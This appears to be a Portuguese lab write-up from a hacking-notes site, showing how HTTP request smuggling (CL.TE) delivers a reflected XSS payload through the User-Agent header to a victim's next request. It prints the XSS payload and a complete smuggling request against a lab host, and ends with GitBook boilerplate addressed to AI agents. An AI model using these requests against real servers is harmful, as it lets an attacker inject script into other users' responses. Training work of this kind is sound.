> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http-request-smuggling-to-deliver-reflected-xss.md).

# HTTP Request Smuggling para Entregar XSS Refletido

### Explorando o contrabando de requisições HTTP para entregar XSS refletido

O laboratório está configurando um servidor front-end e um servidor back-end. / O front-end **não oferece suporte à codificação chunked**, o que abre caminho para um ataque de **contrabando de requisições HTTP**.

A aplicação também tem uma vulnerabilidade de **XSS refletido via o cabeçalho User-Agent**.

O objetivo é **enviar uma requisição contrabandeada** requisição back-end para que **a próxima requisição do usuário vítima receba uma resposta contendo uma carga útil de XSS em execução `alert(1)`**.

O laboratório gera periodicamente requisições para o

### Vulnerabilidade de XSS no User Agent

O `userAgent` o campo nos formulários é reutilizado diretamente na resposta, permitindo injeção:

<figure><img src="/files/8c2b7d38cad496cacdc80360b02aa58019a7cecf" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Essa carga útil é aceita e interpretada, confirmando a vulnerabilidade de XSS.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="/files/c6c60b310f1a5cb4eab789ad7e6348cd0d181ed6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2a54c35300fb125484e5f7bd804044cd0cd7d7c5" alt=""><figcaption></figcaption></figure>

### **Objetivo do ataque**

A ideia é usar o contrabando para garantir que:

1. O front-end lê a requisição de acordo com **Content-Length**.
2. O back-end lê de acordo com **Transfer-Encoding: chunked**.
3. A requisição contrabandeada modifica a próxima requisição do usuário vítima.
4. O servidor então retorna uma resposta contendo nossa carga útil de XSS no cabeçalho User-Agent.

### **Requisição da aplicação contrabandeada**

Você propõe uma consulta POST contendo um corpo vazio (`0/r/n/r/n`) para finalizar a parte chunked, seguida pela requisição para o back-end

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Esta segunda requisição (contrabandeada) será interpretada pelo back-end como fazendo parte da próxima requisição — a do usuário vítima — permitindo que a carga útil de XSS seja injetada na resposta que ele receberá.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http-request-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
